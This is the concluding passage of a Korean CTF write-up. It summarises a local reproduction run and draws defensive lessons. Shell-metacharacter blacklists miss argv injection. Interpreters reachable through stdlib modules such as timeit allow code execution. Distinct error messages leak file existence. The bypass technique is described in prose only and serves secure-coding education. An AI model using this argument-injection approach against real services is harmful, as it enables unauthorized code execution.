reproduce.sh 를 인자 없이 실행한 터미널 출력. 로컬 이미지를 빌드해 9304 포트로 띄운 뒤 solve.py 가 root 권한을 확인하고 app flag 에서 센티넬 값을 꺼내 PASS 로 끝나며 진짜 플래그는 서버 쪽에만 있다는 안내가 함께 찍혀 있다


📝 결론

필터는 자기가 지키는 경계를 알아야 한다

이 문제의 블랙리스트는 셸 메타문자만 모아 놨다. 그런데 정작 subprocess.run 은 리스트를 받아 셸을 거치지 않는다. 막으려던 공격이 이미 불가능한 자리에 검사를 세워 두고, 진짜 위험한 통로는 그대로 열어 둔 셈이다.

위험한 쪽은 메타문자가 아니라 인자 개수와 위치였다. 같은 실수가 현실 코드에도 자주 나온다. shell=False 로 바꿨다는 이유로 입력 검증을 통째로 걷어내는 경우다.

인자 목록은 값이 아니라 구조다

사용자 입력으로 채울 수 있는 자리는 "값" 한 칸이어야 한다. 이 핸들러는 argv 의 길이와 순서까지 사용자에게 넘겼다. 그러면 호출되는 프로그램의 명령행 문법 전체가 공격면이 된다.

외부 명령을 부를 때 지킬 선은 단순하다. 고정된 인자 틀을 코드에 두고, 사용자 값은 미리 정해 둔 한 칸에만 끼운다. 옵션처럼 보이는 입력은 -- 로 끊어 위치인자로 강제한다.

인터프리터를 호출 대상에 두지 않는다

python3, perl, ruby, node, sh 는 "인자를 코드로 바꾸는 것"이 본업이다. 이런 프로그램에 사용자 영향이 닿는 인자를 넘기면, 설령 옵션 자리를 막아 뒀더라도 표준 라이브러리 어딘가에 timeit 같은 우회로가 남아 있다. pdb, trace, base64, tarfile 도 각자 쓸 만한 명령행을 갖고 있다.

표준 라이브러리를 "안전한 코드"로 보는 감각이 문제다. timeit.py 에는 버그가 없다. 문서에 적힌 대로 정확히 동작했을 뿐이다.

에러 메시지가 오라클이 된다

No such file 과 No hack 을 구분해 돌려준 덕분에 파일 존재 여부를 요청 한 번에 하나씩 알아낼 수 있었다. 표준 라이브러리 경로를 추측하지 않고 열두 곳을 기계적으로 훑어 확정한 게 그 덕이다.

실패 사유를 세분해 알려주는 응답은 디버깅엔 편하지만 공격자에게도 똑같이 편하다. 실패는 한 가지 모양으로 돌려주는 편이 낫다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…